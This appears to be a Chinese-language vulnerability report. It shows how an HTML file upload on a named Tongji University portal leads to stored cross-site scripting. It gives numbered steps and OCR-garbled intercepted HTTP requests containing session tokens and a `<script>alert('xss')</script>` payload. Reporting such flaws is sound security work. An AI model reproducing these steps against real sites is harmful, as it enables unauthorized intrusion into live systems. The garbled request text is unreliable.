URL：https://cscy.tongji.edu.cn/kycgfwptweb/home
1.访问人工接引证明，进行注册登录
[image: IMG_256]
2.在“我的委托”中新建报告，在第三步中选择附件导入
[image: IMG_257]
3.我在这里首先上传了一个".txt"文件，并抓包修改了文件后缀为.html，文件成功上传
[image: IMG_258]
4.上传成功后选择下载，抓取请求包可见上传路径
[image: IMG_259]
[image: IMG_260]
[bookmark: _GoBack]5.拼接路径访问，弹窗，上传的.html文件被成功解析
[image: IMG_261]
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(7 B Request to https:/cscy.tongji.edu.cn:443 [202.120.188.92]

Forward ( Drop
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POST /wits/attachments/ HTTP/Z
Host: cscy.tongii.edu.cn

Cookie: esrftolen=KIILS52cnaBQCsQQzPPrpxitoAaMsIVHCeStWlitCUGRTVBGOgFanghGUENL0P; sessionid=
elnp3cus7imrrOurulacéesSdeStuvgl

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Authorization: Bearer

eyIhbGei0ilTUZIINI s InRSCCIEIRPXVCTS . eydlc2VybuFeZS 16T E4NTCWMIHANT Ix Tivi aWFOT3 0xN3 c2M20 Mz EzLCT L eHAL 03 E2N2MEN; AN THS TnpOa
S16ImQ1YTe3YTeOLTHAM2EENGT3ZS050GVRLTAY UMD Lk Nzc SHS T InVaZX] £aW0403Q3MTAONZQ3N) Q10T ewlij c3Nzes IndyaWd FaWFOT] oxlj czzQTHzE
2£0.B1IxaqLRRhlg-wECEGGQZv03EX4s5aXoE1CIVSE-KES

Content-Type: multipart/form-data; boundar:
Content-Length: 242

Origin: https://escy.tongii.edu.en

Referer: hteps:
Sec-Fetch-Des
Sec-Fetch-Hode:
Sec-Fetch-Sit,
Te: trailers

£85477032995492041192322268

/escy.tongii.edu.en/cscyweb/admin/user/history/4710478238403526657/step_3/
empty

cors

same-origin

-£85477032995492041192322268
Content-Disposition: form-data; name='path"; filename="1Z:
Content-Type: text/plain

<scriptralert('xss')</script>
-685477032995492041192322268--
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Intercept HTTP history ‘WebSockets history Options.

(P B Request to https://cscy.tongji.edu.cn:443 [202.120.188.92]

1
2 Host: cscy.tongji.edu.cn
3 Cookrie: csrftoken=KIILS52cnaBQCsQQzPPrpxIMoMgis IVMCCStU:i4tCUGRTVECOg fFanghCUENLOP; sessionid=
elnp3cus7imrrourulacéesSdeStuvgl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd,

4 E4;
 Accepr: */*
€

rv:108.0) Geclko/20100101 Firefox/108.0

Accept-Language: zh-Cl,zh;q=0.8,zh-T¥; q=!
Accept-Encoding: gzip, deflate

© Referer: https://cscy.tongii.edu.cn/cseyweb/admin/user/his

2 Sec-Fetch-Dest: empty

10 Sec-Fetch-Mode: cors

11 Sec-Fetch-Site: same-origin

12 Te: trailers

,en-US;q=0.3, en;q=

ry/4710476238403526657/step_3/
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